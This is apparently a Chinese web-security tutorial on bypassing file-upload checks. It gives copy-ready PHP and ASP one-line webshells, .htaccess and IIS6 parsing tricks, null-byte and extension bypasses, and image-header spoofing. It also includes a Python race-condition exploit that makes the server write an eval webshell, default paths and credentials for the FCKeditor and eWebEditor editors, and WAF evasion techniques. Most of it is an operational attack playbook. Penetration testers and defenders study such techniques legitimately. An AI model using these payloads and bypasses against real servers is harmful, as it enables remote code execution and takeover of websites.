<span class="token php"><span class="token delimiter"><?php</span> <span class="token variable">$type</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"php"</span><span class="token punctuation">,</span><span class="token string">"php3"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true"> //判断上传文件类型 </span><span class="token variable">$fileext</span> <span class="token operator">=</span> <span class="token function">fileext<span class="token punctuation">(</span></span><span class="token variable">$_FILE</span><span class="token punctuation">[</span><span class="token string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array<span class="token punctuation">(</span></span><span class="token variable">$fileext</span><span class="token punctuation">,</span><span class="token variable">$type</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token keyword">echo</span> <span class="token string">"upload success!"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span><span class="token punctuation">{</span> <span class="token keyword">echo</span> <span class="token string">"sorry"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token delimiter">?></span></span> |
默认上传后的文件保存的名字是已获取到的名字
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
有些服务器在上传认证时没有拦截.htaccess文件上传,就会造成恶意用户利用上传.htaccess文件解析漏洞,来绕过验证进行上传WEBShell,从而达到控制网站服务器的目的。
首先我们编写一个.htaccess文件。打开记事本,编写代码“AddType application/x-httpd-php .jpg”,然后点击文件选中另存为,编写文件名为.htaccess,选择保存类型为所有文件。然后将其进行上传。因为.htaccess是apache服务器中的一个配置文件,不在上传的文件的黑名单之内,所以.htaccess文件是可以上传成功。
接下来我们制造一个一句话木马文件,如取名为yijuhua.php。因为之前上传成功到服务器的.htaccess文件里的代码可以让 .jpg后缀名文件格式的文件名以php格式解析,因此达到了可执行的效果。所以我们把yijuhua.php文件的后缀名改为.jpg格式,让.htaccess文件解析yijuhua.jpg文件里的php代码,从而使木马上传成功并达到可执行的目的。
Apache的解析漏洞主要特性为Apache是从后面开始检查后缀,按最后一个合法后缀执行,整个漏洞的关键就是Apache的合法后缀到底是哪些,不是合法后缀的都可以被利用,所以将木马的后缀进行修改为允许上传的类型后,即可成功绕过验证,最终拿到权限。
例如新建完要上传的一句话木马文件后命名为yijuhua.php,然后我们在文件后缀处添加上7z,就有可能绕过验证上传成功。也可以修改后缀名为cab、zip、bmp等,只要是允许的上传类型都可能被上传成功。最后通过菜刀类工具访问即可。
当我们使用的服务器都是Windows2003,并且使用的服务为IIS6.0时,就可能存在如本节所描述的漏洞。
以asp为例,先准备好一句话木马文件,然后通过burpsuite进行抓包:
查看数据包:
其中Content-Disposition:form-data;name=”path”
下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/改为uploadimg/1.asp/;
,filename="yijuhua.asp"
修改为filename="yijuhua.asp/1.jpg"
。如图:
本例的知识点在于利用了IIS6.0目录路径检测解析,文件的名字为“yijuhua.asp/1.jpg”
,也同样会被IIS当作ASP文件来解析并执行。
首先我们请求/yijuhua.asp/1.jpg
,服务器会从头部查找查找"."号,获得.asp/1.jpg。然后查找"/",如果有则内存截断,所以/yijuhua.asp/1.jpg
会当做/yijuhua.asp
进行解析。
上传成功后,通过response我们可以查看到得到的文件名信息为“1.asp;14127900008.asp”,那么就可以在前面添加上uploadimg/,从而构造访问地址为:“http://www.test.com/uploadimg/1.asp;14127900008.asp”
,并通过菜刀类的工具进行访问了。
此类方法与上面讲的目录解析有点类似,不同点在于是利用文件解析来达到绕过上传的目的。
以php为例,同样是准备好一句话木马文件后通过burpsuite进行抓包。
查看数据包:
其中Content-Disposition:form-data;name=”path”
下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/
改为 uploadimg/1.php;
,filename="yijuhua.php"
修改为filename="yijuhua.jpg"
。
本例中的知识点在于利用了IIS6.0目录路径检测解析,文件的名字为“1.php;yijuhua.jpg”
,也同样会被IIS当作PHP文件来解析并执行
首先我们请求/1.php;yijuhua.jpg
,然后服务器会从头部查找查找"."号,获得.php;yijuhua.jpg
。接着查找到";",有则内存截断,所以/1.php;yijuhua.jpg
会当做/1.php进行解析。
最后类似上一节那样,通过response我们可以查看到得到的文件名信息为“1.php;14127900008.php”
,在前面添加上uploadimg/,从而构造访问地址为:“http://www.test.com/uploadimg/1.php;14127900008.php”
,并通过菜刀类的工具进行访问。
1.使用大小写绕过(针对对大小写不敏感的系统如windows),如:PhP
2.使用黑名单外的脚本类型,如:php5,asa 和 cer等(IIS默认支持解析.asp,.cdx, .asa,.cer等)
能被解析的文件扩展名列表:
1 2 |
jsp jspx jspf asp asa cer aspx |
3.配合操作系统文件命令规则
(1)上传不符合windows文件命名规则的文件名
1 2 3 4 |
test.asp. test.asp(空格) test.php:1.jpg test.php:: $DATA |
会被windows系统自动去掉不符合规则符号后面的内容。
(2)linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
(3)借助系统特性突破扩展名验证,如:test.php_(在windows下,下划线是空格,保存文件时下划线被吃掉剩下test.php)
4.双扩展名之间使用00截断,绕过验证上传恶意代码
0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
1 2 3 |
test.php(0x00).jpg test.php%00.jpg 路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg |
5.超长文件名截断上传(windows 258byte | linux 4096byte)
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)
(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2)然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
1 2 3 4 5 6 7 8 |
#<span class="token constant">PHP</span> <span class="token php"><span class="token delimiter"><?php</span> <span class="token keyword">Include</span><span class="token punctuation">(</span><span class="token string">"上传的txt文件路径"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></span> #<span class="token constant">ASP</span> <span class="token markup"><span class="token comment" spellcheck="true"><!--#include file="上传的txt文件路径" --></span></span> #<span class="token constant">JSP</span> <span class="token markup"><span class="token tag"><span class="token punctuation"><</span><span class="token namespace">jsp:</span>inclde <span class="token attr-name">page</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>上传的txt文件路径<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span></span> <span class="token keyword">or</span> <span class="token markup">&<a class="token email-link" href="mailto:lt;%@include">lt;%@include</a> file="上传的txt文件路径"%></span> |
详细参考:文件包含漏洞(绕过姿势)
file_put_contents 这个函数的第二个参数 可以是数组
然后 如果代码里用正则匹配 bad word 的时候
对一个数组进行正则匹配没用
不同的图片文件都有不同文件头,如:
PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61
PHP使用getimagesize函数验证图片文件头
绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识就可以了
在木马内容基础上再加了一些文件信息,有点像下面的结构
1 2 |
GIF89a <span class="token php"><span class="token delimiter"><?php</span> <span class="token function">phpinfo<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token delimiter">?></span></span> |
演示代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<span class="token php"><span class="token delimiter"><?php</span> <span class="token variable">$allowtype</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"gif"</span><span class="token punctuation">,</span><span class="token string">"png"</span><span class="token punctuation">,</span><span class="token string">"jpg"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$size</span> <span class="token operator">=</span> <span class="token number">10000000</span><span class="token punctuation">;</span> <span class="token variable">$path</span> <span class="token operator">=</span> <span class="token string">"./"</span><span class="token punctuation">;</span> <span class="token variable">$filename</span> <span class="token operator">=</span> <span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">is_uploaded_file<span class="token punctuation">(</span></span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">move_uploaded_file<span class="token punctuation">(</span></span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token variable">$path</span><span class="token punctuation">.</span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string">"error:can not move"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string">"error:not an upload file!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$newfile</span> <span class="token operator">=</span> <span class="token variable">$path</span><span class="token punctuation">.</span><span class="token variable">$filename</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token string">"file upload success.file path is: "</span><span class="token punctuation">.</span><span class="token variable">$newfile</span><span class="token punctuation">.</span>"\<span class="token package">n</span><span class="token markup"><span class="token tag"><span class="token punctuation"><</span>br <span class="token punctuation">/></span></span></span>"<span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'error'</span><span class="token punctuation">]</span><span class="token operator">></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token function">unlink<span class="token punctuation">(</span></span><span class="token variable">$newfile</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string">"Upload file error: "</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$ext</span> <span class="token operator">=</span> <span class="token function">array_pop<span class="token punctuation">(</span></span><span class="token function">explode<span class="token punctuation">(</span></span><span class="token string">"."</span><span class="token punctuation">,</span><span class="token global">$_FILES</span><span class="token punctuation">[</span><span class="token string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array<span class="token punctuation">(</span></span><span class="token variable">$ext</span><span class="token punctuation">,</span><span class="token variable">$allowtype</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token function">unlink<span class="token punctuation">(</span></span><span class="token variable">$newfile</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string">"error:upload the file type is not allowed,delete the file!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token delimiter">?></span></span> |
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:
1 |
<span class="token php"><span class="token delimiter"><?php</span> <span class="token function">fputs<span class="token punctuation">(</span></span><span class="token function">fopen<span class="token punctuation">(</span></span><span class="token string">"./info.php"</span><span class="token punctuation">,</span> <span class="token string">"w"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> '<span class="token delimiter"><?php</span> @<span class="token function">eval<span class="token punctuation">(</span></span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string">"drops"</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token delimiter">?></span></span>'<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token delimiter">?></span> |
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
<span class="token keyword">import</span> os <span class="token keyword">import</span> requests <span class="token keyword">import</span> threading <span class="token keyword">class</span> RaceCondition<span class="token punctuation">(</span>threading<span class="token punctuation">.</span>Thread<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">def</span> __init__<span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span> threading<span class="token punctuation">.</span>Thread<span class="token punctuation">.</span>__init__<span class="token punctuation">(</span>self<span class="token punctuation">)</span> self<span class="token punctuation">.</span>url <span class="token operator">=</span> <span class="token string">"<a class="token url-link" href="http://127.0.0.1:8080/upload/shell0.php">http://127.0.0.1:8080/upload/shell0.php</a>"</span> self<span class="token punctuation">.</span>uploadUrl <span class="token operator">=</span> <span class="token string">"<a class="token url-link" href="http://127.0.0.1:8080/upload/copy.php">http://127.0.0.1:8080/upload/copy.php</a>"</span> <span class="token keyword">def</span> _get<span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'try to call uploaded file...'</span><span class="token punctuation">)</span> r <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>self<span class="token punctuation">.</span>url<span class="token punctuation">)</span> <span class="token keyword">if</span> r<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span> <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"[*]create file info.php success"</span><span class="token punctuation">)</span> os<span class="token punctuation">.</span>_exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">def</span> _upload<span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"upload file....."</span><span class="token punctuation">)</span> file <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">"file"</span><span class="token punctuation">:</span>open<span class="token punctuation">(</span><span class="token string">"shell0.php"</span><span class="token punctuation">,</span><span class="token string">"r"</span><span class="token punctuation">)</span><span class="token punctuation">}</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>self<span class="token punctuation">.</span>uploadUrl<span class="token punctuation">,</span> files<span class="token operator">=</span>file<span class="token punctuation">)</span> <span class="token keyword">def</span> run<span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">:</span> self<span class="token punctuation">.</span>_get<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">:</span> self<span class="token punctuation">.</span>_upload<span class="token punctuation">(</span><span class="token punctuation">)</span> self<span class="token punctuation">.</span>_get<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span> threads <span class="token operator">=</span> <span class="token number">20</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span>threads<span class="token punctuation">)</span><span class="token punctuation">:</span> t <span class="token operator">=</span> RaceCondition<span class="token punctuation">(</span><span class="token punctuation">)</span> t<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span>threads<span class="token punctuation">)</span><span class="token punctuation">:</span> t<span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">)</span> |
经过几次尝试后成功成功写入shell
比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。
比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。
常见的文本编辑器有CKEditor、eWebEditor、UEditor、KindEditor、xhEditor等,它们的功能类似且都有图片上传、视频上传、远程下载等功能,这类文本编辑器也称为富文本编辑器。
下面以FCKeditor(现名为CKEditor)为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
1、敏感信息暴漏 * 查看版本信息 /FCKeditor/editor/dialog/fck_about.html * 默认上传页面 /FCKeditor/editor/filemanager/browser/default/browser.html /FCKeditor/editor/filemanager/browser/default/connectors/test.html /FCKeditor/editor/filemanager/upload/test.html /FCKeditor/editor/filemanager/connectors/test.html /FCKeditor/editor/filemanager/connectors/uploadtest.html * 其他敏感文件 /FCKeditor/editor/filemanager/connectors/aspx/connector.html /FCKeditor/editor/filemanager/connectors/asp/connector.html /FCKeditor/editor/filemanager/connectors/php/connector.php 2、黑名单策略错误 FCKeditor<=2.4.3版本采用的是有弊端的黑名单策略,可以采用asa、cer等扩展名 3、任意文件上传漏洞 FCKeditor的2.4.2及以下本本的黑名单配置信息里没有定义类型Media,直接构造html表单就行, 在form中的action="http://22.22.22.22/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media" 即可,然后上传 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
1、默认后台 2.80以前为:ewebeditor/admin_login.asp 2.80以后为:admin/login.asp 2、默认账号密码 admin admin888 3、数据库地址 默认数据库地址 ewebeditor/db/ewebeditor.mdb 常用数据库地址 ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asa ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb asp asa为后缀的数据库下载下来后改为mdb |
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
针对早期版本安全狗,可以多加一个filename
或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
针对WAF,以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。
**
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
1 2 3 |
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png 构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php" |
增加一个空格导致安全狗被绕过案列: Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099 尝试在boundary后面加个空格或者其他可被正常处理的字符: boundary= —————————47146314211411730218525550
每次文件上传时的Boundary边界都是一致的:
1 2 3 4 5 6 7 8 |
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099 Content-Length: 253 -----------------------------4714631421141173021852555099 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------4714631421141173021852555099-- |
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨: Win2k3 + IIS6.0 + ASP
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
条件: 寻找一个上传点,查看上传点是否可用。 利用: 首先判断是程序员自己写的上传点,还是编辑器的上传功能 如果是编辑器上传功能,goolge当前编辑器的漏洞 如果是程序员写的上传点 上传一个正常的jpg图片 查看上传点是否可用 上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测) 上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg 判断服务器是什么类型,web服务器程序,是什么类型,版本号多少 利用解析漏洞 |
本文由来源 信安之路,由 SecJack 整理编辑!
您必须[登录] 才能发表留言!